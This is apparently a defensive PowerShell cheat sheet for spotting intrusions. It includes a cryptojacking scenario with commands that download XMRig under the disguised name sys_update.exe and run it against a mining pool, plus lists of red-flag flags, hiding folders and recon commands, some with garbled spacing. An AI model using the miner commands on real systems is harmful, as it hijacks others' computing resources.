

Crypto Mining (XMRig)

Scenario: An attacker wants to use your company's electricity and CPU power to make money. They usually hide the miner in a temp folder.

```
curl.exe -L -o C:\temp\sys_update.exe https://github.com/xmrig
```

```
C:\temp\sys_update.exe -o pool.support.xmr.com:443 -u [Wallet_Address] -p Lab_Worker_01
```

How to run workshop

```
Invoke-WebRequest -Uri [Workshop URL] -OutFile "C:\Users\Administrator\Desktop\workshop.ps1"
```

File Management

```
New-Item -ItemType Directory -Path "C:\temp\data" Creates a Folder
```

```
New-Item -ItemType File -Path "C:\temp\note.txt" Creates a File
```

```
Get-Content -Path "C:\temp\config.txt" Reads a File
```

```
Add-Content -Path "C:\temp\note.txt" -Value "Hacked" Edits a File
```

```
Remove-Item -Path "C:\temp\note.txt" Deletes a File
```

The "Dirty" Folders (Common Hiding Places)

If you see a file being created or run from these paths, it is **highly suspicious**:

C:\Use rs \Public

C:\Win dow s\Temp

C:\Use rs \[Us er] \Ap pDa ta \Loc al\Temp

C:\Pro gra mData

Identity & Host Recon

whoami	Shows the name of the logged-in user.	Look for this running immediately after a suspicious login.
\$env:C OMP UTE RN AME	Displays the name of the computer you are on.	Often the first thing an automated script checks.
Get-Pr ocess	Lists every program (process) currently running.	Look for processes with "odd" names or no description.

PowerShell "Smell Test" (The Red Flags)

-enc / -Encod edC ommand	Hides the command in scrambled text. Top priority alert.
iex (Invoke-Expr-ession)	"Download and run." This is how fileless malware starts.
-Bypass	Tells Windows to ignore security policies.
-W Hidden	Runs the script silently so the user can't see it.

The five golden steps for De-Core Investigation

1. Check the Parent: Did a suspicious app like Word or Excel launch PowerShell?
2. The Smell Test: Look for hidden, scrambled text or "iex" flags in the command.
3. Follow the Wire: Flag PowerShell connecting to unknown websites or downloading files.
4. Verify User: Does this specific user have a business reason to run admin scripts?
5. Trace the Files: Watch for new files created in "Dirty Folders" or evidence being deleted.

Basic & Network Commands

curl.exe -O [URL]	Used to "-call" a website or download a file from a remote server.	Critical: Check the URL. Is it a known site or a strange IP address?
wget.exe [URL] -OutFile [Name]	Similar to curl; used to download tools or malware from the internet.	PowerShell using wget.exe to save a file in C:\Temp is highly suspicious.
Get-Ne tTC PCo nne ction	Shows every active "-phone call" the computer is making to other computers.	Look for the State = Established column to see who the machine is talking to right now.



By **levko**
cheatography.com/levko/

Not published yet.
Last updated 4th May, 2026.
Page 2 of 2.

Sponsored by **ApolloPad.com**
Everyone has a novel in them. Finish Yours!
<https://apollopad.com>